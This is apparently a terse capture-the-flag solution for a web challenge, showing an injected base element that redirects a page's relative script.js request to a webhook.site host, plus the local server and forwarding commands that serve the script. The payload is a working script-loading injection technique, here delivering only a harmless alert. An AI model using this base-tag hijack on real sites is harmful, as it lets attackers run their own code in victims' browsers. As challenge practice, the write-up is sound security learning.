create script.js:

alert("Wizer")

start python server:

python3 -m http.server 9393

Forward webhook:

whcli forward --token=f88379e7-2ee8-43d8-833a-2fcbfbde0180 --target=http://localhost:9393

Use base element to overwrite the base-uri for the script.js request:

https://chal48-avu8s.vercel.app/?input=</p><base+href="https://f88379e7-2ee8-43d8-833a-2fcbfbde0180.webhook.site">